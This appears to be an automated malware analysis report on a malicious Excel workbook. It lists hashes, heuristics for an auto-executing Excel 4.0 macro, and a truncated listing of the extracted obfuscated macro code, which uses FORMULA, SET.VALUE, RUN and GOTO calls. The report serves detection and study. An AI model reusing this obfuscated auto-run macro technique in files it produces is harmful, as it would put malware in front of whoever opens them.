Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 923cdb3eb8e2959b…

MALICIOUS

Office (OLE)

115.0 KB Created: 2020-05-27 11:00:02 Authoring application: Microsoft Excel First seen: 2020-08-10
MD5: 6594f945230568af7bda78bfa5d9686a SHA-1: 539bb4c73306a6e86e56482c0d28533df8884791 SHA-256: 923cdb3eb8e2959b801ab0143497862d28bcf8908b51e35bfabe6c1e2b4b5e6c
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The critical heuristics indicate the presence of Excel 4.0 macros with an Auto_Open entry point, which is a common technique for executing malicious code. The `RUN` function within the macro is likely used to launch a secondary payload. The obfuscated nature of the macro formulas suggests an attempt to hide the exact execution details.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 39130 bytes
SHA-256: 4dc8c05088bb55844a55837c5f824d2a9e4c57e0d9385c26ba21dff850764901
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     38 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  FfLLpY8Ka6oYdpSgm7QFrTnxKnTDK
' 0018     28 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open hidden len=7 ptgRef3d  Sheet!DN15544 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'  FfLLpY8Ka6oYdpSgm7QFrTnxKnTDK,IT563,"FORMULA(MID(FY45573,12,1)&MID(DL30758,5,1)&MID(DL30758,2,1)&MID(IL7568,9,1)&MID(DL30758,3,1)&MID(DL30758,1,1)&MID(DL30758,16,1)&MID(IL7568,15,1)&MID(DL30758,19,1)&MID(DL30758,5,1)&MID(DL30758,10,1)&MID(FY45573,19,1)&MID(DL30758,11,1)&MID(DL30758,19,1)&MID(IL7568,9,1)&MID(FY45573,6,1)&MID(IL7568,10,1)&MID(IL7568,13,1)&MID(DL30758,3,1)&MID(DL30758,11,1)&MID(DL30758,16,1)&MID(DL30758,11,1)&MID(IL7568,9,1)&MID(DL30758,14,1)&MID(DN28461,4,1)&MID(IL7568,18,1)&MID(FY45573,2,1)&MID(FY45573,1,1)&MID(FY45573,5,1)&MID(DN28461,6,1)&MID(FY45573,18,1)&MID(DN28461,4,1)&MID(IL7568,14,1)&MID(FY45573,6,1)&MID(DN28461,6,1)&MID(IL7568,10,1)&MID(IL7568,13,1)&MID(IL7568,10,1),IT564)",""
'  FfLLpY8Ka6oYdpSgm7QFrTnxKnTDK,IT565,RUN(IJ15158),""
'  FfLLpY8Ka6oYdpSgm7QFrTnxKnTDK,GN1261,"FORMULA(MID(FY45573,12,1)&MID(DL30758,2,1)&MID(DL30758,14,1)&MID(DL30758,1,1)&MID(FY45573,16,1)&MID(FY45573,19,1)&MID(IL7568,9,1)&MID(DL30758,14,1)&MID(DN28461,4,1)&MID(FY45573,2,1)&MID(IL7568,17,1)&MID(FY45573,5,1)&MID(FY45573,1,1)&MID(FY45573,6,1)&MID(DN28461,6,1)&MID(FY45573,18,1)&MID(DN28461,4,1)&MID(FY45573,3,1)&MID(FY45573,1,1)&MID(DN28461,6,1)&MID(IL7568,13,1)&MID(FY45573,1,1)&MID(FY45573,4,1)&MID(FY45573,4,1)&MID(IL7568,10,1),GN1262)",""
'  FfLLpY8Ka6oYdpSgm7QFrTnxKnTDK,GN1263,GOTO(DU22842),""
'  FfLLpY8Ka6oYdpSgm7QFrTnxKnTDK,E2419,"FORMULA(MID(DF44960,12,1)&MID(FJ36368,3,1)&MID(EI17199,17,1)&MID(EQ57976,10,1)&MID(EQ57976,10,1)&MID(EQ57976,6,1)&MID(DF44960,9,1)&MID(FJ36368,16,1)&MID(FJ36368,16,1)&MID(EQ57976,11,1)&MID(EI17199,18,1)&MID(EQ57976,4,1)&MID(EI17199,10,1)&MID(EQ57976,3,1)&MID(EI17199,14,1)&MID(EQ57976,9,1)&MID(FJ36368,15,1)&MID(EQ57976,5,1)&MID(EQ57976,8,1)&MID(EI17199,16,1)&MID(FJ36368,16,1)&MID(EQ57976,13,1)&MID(EQ57976,6,1)&MID(FJ36368,14,1)&MID(EQ57976,1,1)&MID(EI17199,14,1)&MID(EQ57976,15,1)&MID(EQ57976,9,1)&MID(FJ36368,15,1)&MID(EQ57976,6,1)&MID(EI17199,17,1)&MID(EQ57976,6,1)&MID(FJ36368,3,1),GN53064)",""
'  FfLLpY8Ka6oYdpSgm7QFrTnxKnTDK,E2420,GOTO(FY8491),""
'  FfLLpY8Ka6oYdpSgm7QFrTnxKnTDK,HG5136,"SET.VALUE(FY45573,"23456789:;<=>?@ABCD")",""
'  FfLLpY8Ka6oYdpSgm7QFrTnxKnTDK,HG5137,GOTO(EI21061),""
'  FfLLpY8Ka6oYdpSgm7QFrTnxKnTDK,FX5437,RUN(DY25097),""
'  FfLLpY8Ka6oYdpSgm7QFrTnxKnTDK,DR8198,"FORMULA(MID(FY45573,12,1)&MID(IL7568,3,1)&MID(DL30758,1,1)&MID(DN28461,1,1)&MID(DL30758,12,1)&MID(DL30758,11,1)&MID(DL30758,14,1)&MID(DL30758,16,1)&MID(IL7568,1,1)&MID(DL30758,4,1)&MID(DL30758,7,1)&MID(FY45573,18,1)&MID(DL30758,17,1)&MID(DN28461,5,1)&MID(DL30758,15,1)&MID(FF26057,5,1)&MID(DN28461,15,1)&MID(FF26057,10,1)&MID(FF26057,13,1)&MID(DN28461,10,1)&MID(FF26057,8,1)&MID(DN28461,14,1)&MID(DN28461,5,1)&MID(DL30758,9,1)&MID(DN28461,18,1)&MID(DN28461,12,1)&MID(FF26057,8,1)&MID(FF26057,5,1)&MID(FF26057,9,1)&MID(FF26057,5,1)&MID(DN28461,15,1)&MID(FF26057,10,1)&MID(DN28461,5,1)&MID(DL30758,11,1)&MID(DN28461,15,1)&MID(DN28461,15,1)&MID(DN28461,18,1)&MID(DN28461,12,1)&MID(DN28461,14,1)&MID(DN28461,5,1)&MID(IL7568,3,1),DS10402)",""
'  FfLLpY8Ka6oYdpSgm7QFrTnxKnTDK,DR8199,GOTO(G54978),""
'  FfLLpY8Ka6oYdpSgm7QFrTnxKnTDK,IH8259,"SET.VALUE(DF44960,"23456789:;<=>?@ABCD")",""
'  FfLLpY8Ka6oYdpSgm7QFrTnxKnTDK,IH8260,RUN(T28835),""
'  FfLLpY8Ka6oYdpSgm7QFrTnxKnTDK,FY8491,"FORMULA(MID(DF44960,12,1)&MID(DF44960,18,1)&MID(DF44960,16,1)&MID(EX64224,8,1)&MID(EX64224,8,1)&MID(FJ36368,9,1)&MID(FJ36368,3,1)&MID(EQ57976,11,1)&MID(EQ57976,8,1)&MID(EQ57976,2,1)&MID(EQ57976,3,1)&MID(EQ57976,5,1)&MID(EQ57976,4,1)&MID(FJ36368,3,1)&MID(FJ36368,13,1)&MID(FJ36368,3,1)&MID(EX64224,17,1)&MID(EX64224,14,1)&MID(EX64224,8,1)&MID(DF44960,19,
... (truncated)

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